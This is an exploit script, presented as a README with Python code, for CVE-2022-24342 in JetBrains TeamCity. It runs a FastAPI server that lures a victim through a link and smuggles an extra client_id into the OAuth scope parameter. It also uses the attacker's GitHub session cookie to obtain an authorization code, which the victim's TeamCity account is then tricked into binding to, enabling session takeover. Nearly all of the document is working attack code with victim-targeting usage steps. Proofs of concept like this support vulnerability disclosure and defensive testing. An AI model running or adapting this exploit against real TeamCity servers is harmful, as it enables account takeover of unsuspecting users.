README.md
Rendering markdown...
# Exploit Title: JetBrains TeamCity - URL parameter injection leading to OAuth2 CSRF.
# Date: 25-02-2021
# Exploit Author: Yurii Sanin (https://twitter.com/SaninYurii)
# Software Link: https://www.jetbrains.com/teamcity/
# Affected Version(s): <2021.2.1
# CVE : CVE-2022-24342
# -----------------------------------------------------------------------------------------------------------------------------
# Usage
# > Run exploit: `uvicorn exploit:app --reload`
# > Register GitHub OAuth2 application (homepage: "http://{exploit-host}:8000", Authorization callback url: "http://{exploit-host}:8000/callback")
# > Send the link to a victim: "http://{exploit-host}:8000/exploit?target_host=http://{target-host}&gh_client_id={github_oauth_client_id}"
# Example: http://localhost:8000/exploit?target_host=http://localhost:8088&gh_client_id=d0e8136b100ef006b4f2
import json
import uuid
import logging
import uvicorn
import argparse
import requests
from base64 import b64decode
from urllib.parse import urlparse, parse_qs, urlencode
from fastapi import FastAPI
from fastapi.responses import RedirectResponse
parser = argparse.ArgumentParser()
parser.add_argument("-s", help="GitHub user session", required=True)
parser.add_argument("-p", help="Uvicorn port", default=8000)
APP_STATE = None
GITHUB_USER_SESSION = None
TC_CONNECT_PATH = "/oauth/github/connect.html"
GITHUB_LANDING_PATH = "/oauth/github/accessToken.html"
logger = logging.getLogger("CVE-2022-24342")
logging.basicConfig(level=logging.INFO)
app = FastAPI()
@app.get("/exploit")
def exploit(target_host: str, gh_client_id: str):
if target_host is None:
logger.error("[ERROR] - target host cannot be null.")
return
target_host_url = urlparse(target_host)
if target_host_url.scheme not in ["http", "https"] or target_host_url.hostname is None:
logger.error(f"[ERROR] - target host {target_host} is not valid URL.")
return
github_config = get_github_authorize_url(target_host)
if github_config is None:
logger.error("[ERROR] - can't get GitHub config for the TeamCity instance.")
return RedirectResponse(target_host)
client_id = github_config["client_id"]
tc_state = github_config["state"]
redirect_uri = github_config["redirect_uri"]
logger.info(f"[INFO] - GitHub authentication enabled, client_id: '{client_id}'.")
connection_id = json.loads(b64decode(tc_state)).get("connectionId")
logger.info(f"[INFO] - GitHub connection id: '{connection_id}'.")
auth_code = get_github_authorization_code(client_id, redirect_uri)
if auth_code is None:
logger.error("[ERROR] - can't get attacker's authorization code.")
return RedirectResponse(target_host)
logger.info(f"[INFO] - GitHub authorization code obtained for the GitHub application.")
payload_params = dict(
action="obtainToken",
projectId="_Root",
connectionId=connection_id,
scope=f"public_repo,repo,repo:status,write:repo_hook,user:email&client_id={gh_client_id}",
callbackUrl="/oauth/github/connect.html"
)
global APP_STATE
APP_STATE = dict(target_host=target_host, auth_code=auth_code)
redirect_url = f"{target_host}/oauth/github/accessToken.html?{urlencode(payload_params)}"
return RedirectResponse(redirect_url)
@app.get("/callback")
def csrf_redirect(state: str):
params = dict(
state=state,
code=APP_STATE["auth_code"]
)
logger.info(f"[INFO] - OK. Recieved OAuth2 state: '{state}'.")
redirect_url = f"{APP_STATE['target_host']}/oauth/github/accessToken.html?{urlencode(params)}"
logger.info(f"[INFO] - redirect back to target host.")
return RedirectResponse(redirect_url)
# get Github authorize URL for the TeamCity instance
def get_github_authorize_url(target_host):
try:
response = requests.get(
f"{target_host}/oauth/github/login.html",
allow_redirects=False)
if response.status_code not in [302] or response.headers['Location'] is None:
logger.error(f"[ERROR] - can't get GitHub OAuth2 client info, unexpected HTTP status code '{response.status_code}'.")
logger.error(f"[ERROR] - seems like GitHub authentication is disabled for the TeamCity instance.")
return None
parsed_location_url = urlparse(response.headers['Location'])
location_query_params = parse_qs(parsed_location_url.query)
except Exception:
logger.error(f"[ERROR] - can't get GitHub OAuth2 client info.")
return None
return dict(
client_id=location_query_params["client_id"][0],
state=location_query_params["state"][0],
redirect_uri=location_query_params["redirect_uri"][0])
# get OAuth2 authorization code using attacker's account
def get_github_authorization_code(client_id, oauth_landing_uri):
session = requests.Session()
try:
response = session.get(
"https://github.com/login/oauth/authorize",
cookies={"user_session": GITHUB_USER_SESSION},
allow_redirects=False,
params=dict(
client_id=client_id,
scope="public_repo,repo,repo:status,write:repo_hook,user:email",
state=str(uuid.uuid4()),
redirect_uri=oauth_landing_uri))
if response.status_code not in [302] or response.headers['Location'] is None:
logger.error(f"[ERROR] - can't get attacker's authorization code, unexpected HTTP status code '{response.status_code}'.")
return None
parsed_location_url = urlparse(response.headers['Location'])
location_query_params = parse_qs(parsed_location_url.query)
if "code" not in location_query_params:
logger.error(f"[ERROR] - can't get attacker's authorization code from the Location header.")
return None
code = location_query_params["code"][0]
except Exception:
logger.error(f"[Error] - can't get location of the GitHub application.")
return None
return code
if __name__ == '__main__':
print("|-----------------------------------------------------------------------------------|")
print("| CVE-2022-24342 OAuth2 CSRF in JetBrains TeamCity leading to session takeover |")
print("| developed by Yurii Sanin (Twitter: @SaninYurii) |")
print("|-----------------------------------------------------------------------------------|")
args = parser.parse_args()
GITHUB_USER_SESSION = args.s
uvicorn.run(app, host="0.0.0.0", port=args.p, log_level="info")